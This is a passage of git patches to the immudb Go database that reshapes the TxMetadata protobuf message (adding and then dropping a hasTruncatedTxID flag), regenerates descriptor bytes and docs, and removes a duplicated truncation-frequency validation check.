0x2f, 0x61, 0x70, - 0x69, 0x2f, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x92, 0x41, 0xda, 0x02, 0x12, 0xee, 0x01, 0x0a, - 0x0f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, - 0x12, 0xda, 0x01, 0x3c, 0x62, 0x3e, 0x49, 0x4d, 0x50, 0x4f, 0x52, 0x54, 0x41, 0x4e, 0x54, 0x3c, - 0x2f, 0x62, 0x3e, 0x3a, 0x20, 0x41, 0x6c, 0x6c, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x67, - 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x61, 0x6e, 0x64, 0x20, 0x3c, 0x63, - 0x6f, 0x64, 0x65, 0x3e, 0x73, 0x61, 0x66, 0x65, 0x67, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, - 0x65, 0x3e, 0x20, 0x66, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x20, 0x72, 0x65, 0x74, - 0x75, 0x72, 0x6e, 0x20, 0x3c, 0x75, 0x3e, 0x62, 0x61, 0x73, 0x65, 0x36, 0x34, 0x2d, 0x65, 0x6e, - 0x63, 0x6f, 0x64, 0x65, 0x64, 0x3c, 0x2f, 0x75, 0x3e, 0x20, 0x6b, 0x65, 0x79, 0x73, 0x20, 0x61, - 0x6e, 0x64, 0x20, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x2c, 0x20, 0x77, 0x68, 0x69, 0x6c, 0x65, - 0x20, 0x61, 0x6c, 0x6c, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x73, 0x65, 0x74, 0x3c, 0x2f, - 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x61, 0x6e, 0x64, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, - 0x73, 0x61, 0x66, 0x65, 0x73, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x66, - 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x20, 0x65, 0x78, 0x70, 0x65, 0x63, 0x74, 0x20, - 0x3c, 0x75, 0x3e, 0x62, 0x61, 0x73, 0x65, 0x36, 0x34, 0x2d, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, - 0x64, 0x3c, 0x2f, 0x75, 0x3e, 0x20, 0x69, 0x6e, 0x70, 0x75, 0x74, 0x73, 0x2e, 0x5a, 0x59, 0x0a, - 0x57, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x4d, 0x08, 0x02, 0x12, 0x38, 0x41, - 0x75, 0x74, 0x68, 0x65, 0x6e, 0x74, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x74, 0x6f, - 0x6b, 0x65, 0x6e, 0x2c, 0x20, 0x70, 0x72, 0x65, 0x66, 0x69, 0x78, 0x65, 0x64, 0x20, 0x62, 0x79, - 0x20, 0x42, 0x65, 0x61, 0x72, 0x65, 0x72, 0x3a, 0x20, 0x42, 0x65, 0x61, 0x72, 0x65, 0x72, 0x20, - 0x3c, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3e, 0x1a, 0x0d, 0x41, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, - 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x02, 0x62, 0x0c, 0x0a, 0x0a, 0x0a, 0x06, 0x62, 0x65, - 0x61, 0x72, 0x65, 0x72, 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, + 0x73, 0x75, 0x6c, 0x74, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x22, 0x0a, 0x2f, 0x64, + 0x62, 0x2f, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x73, 0x3a, 0x01, 0x2a, 0x12, 0x7f, 0x0a, 0x10, 0x56, + 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, 0x12, + 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, + 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x22, 0x20, 0x82, 0xd3, 0xe4, 0x93, + 0x02, 0x1a, 0x22, 0x15, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, + 0x6c, 0x65, 0x2f, 0x73, 0x71, 0x6c, 0x67, 0x65, 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x7c, 0x0a, 0x10, + 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, + 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, + 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, + 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, + 0x65, 0x22, 0x17, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x11, 0x22, 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x74, + 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x42, 0x8b, 0x03, 0x5a, 0x2b, 0x67, + 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, + 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, + 0x61, 0x70, 0x69, 0x2f, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x92, 0x41, 0xda, 0x02, 0x12, 0xee, + 0x01, 0x0a, 0x0f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, + 0x50, 0x49, 0x12, 0xda, 0x01, 0x3c, 0x62, 0x3e, 0x49, 0x4d, 0x50, 0x4f, 0x52, 0x54, 0x41, 0x4e, + 0x54, 0x3c, 0x2f, 0x62, 0x3e, 0x3a, 0x20, 0x41, 0x6c, 0x6c, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, + 0x3e, 0x67, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x61, 0x6e, 0x64, 0x20, + 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x73, 0x61, 0x66, 0x65, 0x67, 0x65, 0x74, 0x3c, 0x2f, 0x63, + 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x66, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x20, 0x72, + 0x65, 0x74, 0x75, 0x72, 0x6e, 0x20, 0x3c, 0x75, 0x3e, 0x62, 0x61, 0x73, 0x65, 0x36, 0x34, 0x2d, + 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x3c, 0x2f, 0x75, 0x3e, 0x20, 0x6b, 0x65, 0x79, 0x73, + 0x20, 0x61, 0x6e, 0x64, 0x20, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x2c, 0x20, 0x77, 0x68, 0x69, + 0x6c, 0x65, 0x20, 0x61, 0x6c, 0x6c, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x73, 0x65, 0x74, + 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x61, 0x6e, 0x64, 0x20, 0x3c, 0x63, 0x6f, 0x64, + 0x65, 0x3e, 0x73, 0x61, 0x66, 0x65, 0x73, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, + 0x20, 0x66, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x20, 0x65, 0x78, 0x70, 0x65, 0x63, + 0x74, 0x20, 0x3c, 0x75, 0x3e, 0x62, 0x61, 0x73, 0x65, 0x36, 0x34, 0x2d, 0x65, 0x6e, 0x63, 0x6f, + 0x64, 0x65, 0x64, 0x3c, 0x2f, 0x75, 0x3e, 0x20, 0x69, 0x6e, 0x70, 0x75, 0x74, 0x73, 0x2e, 0x5a, + 0x59, 0x0a, 0x57, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x4d, 0x08, 0x02, 0x12, + 0x38, 0x41, 0x75, 0x74, 0x68, 0x65, 0x6e, 0x74, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, + 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x2c, 0x20, 0x70, 0x72, 0x65, 0x66, 0x69, 0x78, 0x65, 0x64, 0x20, + 0x62, 0x79, 0x20, 0x42, 0x65, 0x61, 0x72, 0x65, 0x72, 0x3a, 0x20, 0x42, 0x65, 0x61, 0x72, 0x65, + 0x72, 0x20, 0x3c, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3e, 0x1a, 0x0d, 0x41, 0x75, 0x74, 0x68, 0x6f, + 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x02, 0x62, 0x0c, 0x0a, 0x0a, 0x0a, 0x06, + 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, } var ( diff --git a/pkg/api/schema/schema.proto b/pkg/api/schema/schema.proto index 0f59515140..705d7504e9 100644 --- a/pkg/api/schema/schema.proto +++ b/pkg/api/schema/schema.proto @@ -365,7 +365,13 @@ message TxHeader { } // TxMetadata contains metadata set to whole transaction -message TxMetadata {} +message TxMetadata { + // True if this metadata has a truncated transaction + bool hasTruncatedTxID = 1; + + // Entry expiration information + uint64 truncatedTxID = 2; +} // LinearProof contains the linear part of the proof (outside the main Merkle Tree) message LinearProof { diff --git a/pkg/api/schema/schema.swagger.json b/pkg/api/schema/schema.swagger.json index c1e135403f..d879ab887c 100644 --- a/pkg/api/schema/schema.swagger.json +++ b/pkg/api/schema/schema.swagger.json @@ -3516,6 +3516,17 @@ }, "schemaTxMetadata": { "type": "object", + "properties": { + "hasTruncatedTxID": { + "type": "boolean", + "title": "True if this metadata has a truncated transaction" + }, + "truncatedTxID": { + "type": "string", + "format": "uint64", + "title": "Entry expiration information" + } + }, "title": "TxMetadata contains metadata set to whole transaction" }, "schemaTxMode": { diff --git a/pkg/server/db_options.go b/pkg/server/db_options.go index 1f733ed1ed..35d80986e9 100644 --- a/pkg/server/db_options.go +++ b/pkg/server/db_options.go @@ -758,16 +758,10 @@ func (opts *dbOptions) Validate() error { if opts.TruncationFrequency < 0 || (opts.TruncationFrequency > 0 && opts.TruncationFrequency < Milliseconds(store.MinimumTruncationFrequency.Milliseconds())) { return fmt.Errorf( - "%w: invalid truncation frequency for database '%s'. TruncationFrequency should at least '%v' hours", + "%w: invalid truncation frequency for database '%s'. TruncationFrequency should at least '%v' hour", ErrIllegalArguments, opts.Database, store.MinimumTruncationFrequency.Hours()) } - if opts.TruncationFrequency < 0 || (opts.TruncationFrequency > 0 && opts.TruncationFrequency < Milliseconds(store.MinimumTruncationFrequency.Milliseconds())) { - return fmt.Errorf( - "%w: invalid truncation frequency for database '%s'. TruncationFrequency should at least 1 hour", - ErrIllegalArguments, opts.Database) - } - return opts.storeOptions().Validate() } From 8b11bd8c40d024c81db4ee14ec1b88065c40b74b Mon Sep 17 00:00:00 2001 From: Farhan Khan Date: Thu, 19 Jan 2023 10:23:35 +0530 Subject: [PATCH 0174/1062] chore(pkg/api): remove bool from tx metadata conversion --- embedded/store/tx_metadata_test.go | 5 +- pkg/api/schema/database_protoconv.go | 3 +- pkg/api/schema/docs.md | 1 - pkg/api/schema/schema.pb.go | 2741 +++++++++++++------------- pkg/api/schema/schema.proto | 5 +- pkg/api/schema/schema.swagger.json | 4 - 6 files changed, 1371 insertions(+), 1388 deletions(-) diff --git a/embedded/store/tx_metadata_test.go b/embedded/store/tx_metadata_test.go index e8a76af78d..af31bba4df 100644 --- a/embedded/store/tx_metadata_test.go +++ b/embedded/store/tx_metadata_test.go @@ -53,9 +53,12 @@ func TestTxMetadataWithAttributes(t *testing.T) { err = desmd.ReadFrom(nil) require.NoError(t, err) + v, err := desmd.GetTruncatedTxID() + require.ErrorIs(t, err, ErrTxNotPresentInMetadata) + desmd.WithTruncatedTxID(1) require.True(t, desmd.HasTruncatedTxID()) - v, err := desmd.GetTruncatedTxID() + v, err = desmd.GetTruncatedTxID() require.NoError(t, err) require.Equal(t, uint64(1), v) diff --git a/pkg/api/schema/database_protoconv.go b/pkg/api/schema/database_protoconv.go index 0c7aa79e19..d98406308c 100644 --- a/pkg/api/schema/database_protoconv.go +++ b/pkg/api/schema/database_protoconv.go @@ -166,7 +166,6 @@ func TxMetadataToProto(md *store.TxMetadata) *TxMetadata { txmd := &TxMetadata{} if md.HasTruncatedTxID() { - txmd.HasTruncatedTxID = md.HasTruncatedTxID() txID, _ := md.GetTruncatedTxID() txmd.TruncatedTxID = txID } @@ -233,7 +232,7 @@ func TxMetadataFromProto(md *TxMetadata) *store.TxMetadata { } txmd := store.NewTxMetadata() - if md.HasTruncatedTxID { + if md.TruncatedTxID > 0 { txmd.WithTruncatedTxID(md.TruncatedTxID) } diff --git a/pkg/api/schema/docs.md b/pkg/api/schema/docs.md index e306b9b271..55e251bb61 100644 --- a/pkg/api/schema/docs.md +++ b/pkg/api/schema/docs.md @@ -1849,7 +1849,6 @@ TxMetadata contains metadata set to whole transaction | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | -| hasTruncatedTxID | [bool](#bool) | | True if this metadata has a truncated transaction | | truncatedTxID | [uint64](#uint64) | | Entry expiration information | diff --git a/pkg/api/schema/schema.pb.go b/pkg/api/schema/schema.pb.go index 8eedd09e1b..2fa097e42a 100644 --- a/pkg/api/schema/schema.pb.go +++ b/pkg/api/schema/schema.pb.go @@ -2047,10 +2047,8 @@ type TxMetadata struct { sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields - // True if this metadata has a truncated transaction - HasTruncatedTxID bool `protobuf:"varint,1,opt,name=hasTruncatedTxID,proto3" json:"hasTruncatedTxID,omitempty"` // Entry expiration information - TruncatedTxID uint64 `protobuf:"varint,2,opt,name=truncatedTxID,proto3" json:"truncatedTxID,omitempty"` + TruncatedTxID uint64 `protobuf:"varint,1,opt,name=truncatedTxID,proto3" json:"truncatedTxID,omitempty"` } func (x *TxMetadata) Reset() { @@ -2085,13 +2083,6 @@ func (*TxMetadata) Descriptor() ([]byte, []int) { return file_schema_proto_rawDescGZIP(), []int{27} } -func (x *TxMetadata) GetHasTruncatedTxID() bool { - if x != nil { - return x.HasTruncatedTxID - } - return false -} - func (x *TxMetadata) GetTruncatedTxID() uint64 { if x != nil { return x.TruncatedTxID @@ -8738,1415 +8729,1413 @@ var file_schema_proto_rawDesc = []byte{ 0x12, 0x35, 0x0a, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x52, 0x08, 0x6d, - 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x22, 0x5e, 0x0a, 0x0a, 0x54, 0x78, 0x4d, 0x65, 0x74, - 0x61, 0x64, 0x61, 0x74, 0x61, 0x12, 0x2a, 0x0a, 0x10, 0x68, 0x61, 0x73, 0x54, 0x72, 0x75, 0x6e, - 0x63, 0x61, 0x74, 0x65, 0x64, 0x54, 0x78, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, - 0x10, 0x68, 0x61, 0x73, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x64, 0x54, 0x78, 0x49, - 0x44, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x64, 0x54, 0x78, - 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x75, 0x6e, 0x63, 0x61, - 0x74, 0x65, 0x64, 0x54, 0x78, 0x49, 0x44, 0x22, 0x63, 0x0a, 0x0b, 0x4c, 0x69, 0x6e, 0x65, 0x61, - 0x72, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x1e, 0x0a, 0x0a, 0x73, 0x6f, 0x75, 0x72, 0x63, 0x65, - 0x54, 0x78, 0x49, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0a, 0x73, 0x6f, 0x75, 0x72, - 0x63, 0x65, 0x54, 0x78, 0x49, 0x64, 0x12, 0x1e, 0x0a, 0x0a, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, - 0x54, 0x78, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0a, 0x54, 0x61, 0x72, 0x67, - 0x65, 0x74, 0x54, 0x78, 0x49, 0x64, 0x12, 0x14, 0x0a, 0x05, 0x74, 0x65, 0x72, 0x6d, 0x73, 0x18, - 0x03, 0x20, 0x03, 0x28, 0x0c, 0x52, 0x05, 0x74, 0x65, 0x72, 0x6d, 0x73, 0x22, 0x89, 0x01, 0x0a, - 0x12, 0x4c, 0x69, 0x6e, 0x65, 0x61, 0x72, 0x41, 0x64, 0x76, 0x61, 0x6e, 0x63, 0x65, 0x50, 0x72, - 0x6f, 0x6f, 0x66, 0x12, 0x2a, 0x0a, 0x10, 0x6c, 0x69, 0x6e, 0x65, 0x61, 0x72, 0x50, 0x72, 0x6f, - 0x6f, 0x66, 0x54, 0x65, 0x72, 0x6d, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0c, 0x52, 0x10, 0x6c, - 0x69, 0x6e, 0x65, 0x61, 0x72, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x54, 0x65, 0x72, 0x6d, 0x73, 0x12, - 0x47, 0x0a, 0x0f, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, - 0x66, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, - 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x0f, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, - 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x73, 0x22, 0xc8, 0x03, 0x0a, 0x09, 0x44, 0x75, 0x61, - 0x6c, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x3f, 0x0a, 0x0e, 0x73, 0x6f, 0x75, 0x72, 0x63, 0x65, - 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, + 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x22, 0x32, 0x0a, 0x0a, 0x54, 0x78, 0x4d, 0x65, 0x74, + 0x61, 0x64, 0x61, 0x74, 0x61, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, + 0x65, 0x64, 0x54, 0x78, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, + 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x64, 0x54, 0x78, 0x49, 0x44, 0x22, 0x63, 0x0a, 0x0b, 0x4c, + 0x69, 0x6e, 0x65, 0x61, 0x72, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x1e, 0x0a, 0x0a, 0x73, 0x6f, + 0x75, 0x72, 0x63, 0x65, 0x54, 0x78, 0x49, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0a, + 0x73, 0x6f, 0x75, 0x72, 0x63, 0x65, 0x54, 0x78, 0x49, 0x64, 0x12, 0x1e, 0x0a, 0x0a, 0x54, 0x61, + 0x72, 0x67, 0x65, 0x74, 0x54, 0x78, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0a, + 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x54, 0x78, 0x49, 0x64, 0x12, 0x14, 0x0a, 0x05, 0x74, 0x65, + 0x72, 0x6d, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0c, 0x52, 0x05, 0x74, 0x65, 0x72, 0x6d, 0x73, + 0x22, 0x89, 0x01, 0x0a, 0x12, 0x4c, 0x69, 0x6e, 0x65, 0x61, 0x72, 0x41, 0x64, 0x76, 0x61, 0x6e, + 0x63, 0x65, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x2a, 0x0a, 0x10, 0x6c, 0x69, 0x6e, 0x65, 0x61, + 0x72, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x54, 0x65, 0x72, 0x6d, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, + 0x0c, 0x52, 0x10, 0x6c, 0x69, 0x6e, 0x65, 0x61, 0x72, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x54, 0x65, + 0x72, 0x6d, 0x73, 0x12, 0x47, 0x0a, 0x0f, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, + 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x63, + 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x0f, 0x69, 0x6e, 0x63, + 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x73, 0x22, 0xc8, 0x03, 0x0a, + 0x09, 0x44, 0x75, 0x61, 0x6c, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x3f, 0x0a, 0x0e, 0x73, 0x6f, + 0x75, 0x72, 0x63, 0x65, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x52, 0x0e, 0x73, 0x6f, 0x75, + 0x72, 0x63, 0x65, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x12, 0x3f, 0x0a, 0x0e, 0x74, + 0x61, 0x72, 0x67, 0x65, 0x74, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x18, 0x02, 0x20, + 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x52, 0x0e, 0x74, 0x61, + 0x72, 0x67, 0x65, 0x74, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x12, 0x26, 0x0a, 0x0e, + 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x03, + 0x20, 0x03, 0x28, 0x0c, 0x52, 0x0e, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, + 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x2a, 0x0a, 0x10, 0x63, 0x6f, 0x6e, 0x73, 0x69, 0x73, 0x74, 0x65, + 0x6e, 0x63, 0x79, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0c, 0x52, 0x10, + 0x63, 0x6f, 0x6e, 0x73, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x63, 0x79, 0x50, 0x72, 0x6f, 0x6f, 0x66, + 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x61, 0x72, 0x67, 0x65, 0x74, 0x42, 0x6c, 0x54, 0x78, 0x41, 0x6c, + 0x68, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0d, 0x74, 0x61, 0x72, 0x67, 0x65, 0x74, 0x42, + 0x6c, 0x54, 0x78, 0x41, 0x6c, 0x68, 0x12, 0x2e, 0x0a, 0x12, 0x6c, 0x61, 0x73, 0x74, 0x49, 0x6e, + 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x06, 0x20, 0x03, + 0x28, 0x0c, 0x52, 0x12, 0x6c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, + 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x3c, 0x0a, 0x0b, 0x6c, 0x69, 0x6e, 0x65, 0x61, 0x72, + 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x07, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x69, 0x6e, 0x65, + 0x61, 0x72, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x0b, 0x6c, 0x69, 0x6e, 0x65, 0x61, 0x72, 0x50, + 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x51, 0x0a, 0x12, 0x4c, 0x69, 0x6e, 0x65, 0x61, 0x72, 0x41, 0x64, + 0x76, 0x61, 0x6e, 0x63, 0x65, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0b, + 0x32, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x4c, 0x69, 0x6e, 0x65, 0x61, 0x72, 0x41, 0x64, 0x76, 0x61, 0x6e, 0x63, 0x65, 0x50, 0x72, + 0x6f, 0x6f, 0x66, 0x52, 0x12, 0x4c, 0x69, 0x6e, 0x65, 0x61, 0x72, 0x41, 0x64, 0x76, 0x61, 0x6e, + 0x63, 0x65, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x22, 0xce, 0x01, 0x0a, 0x02, 0x54, 0x78, 0x12, 0x2f, + 0x0a, 0x06, 0x68, 0x65, 0x61, 0x64, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 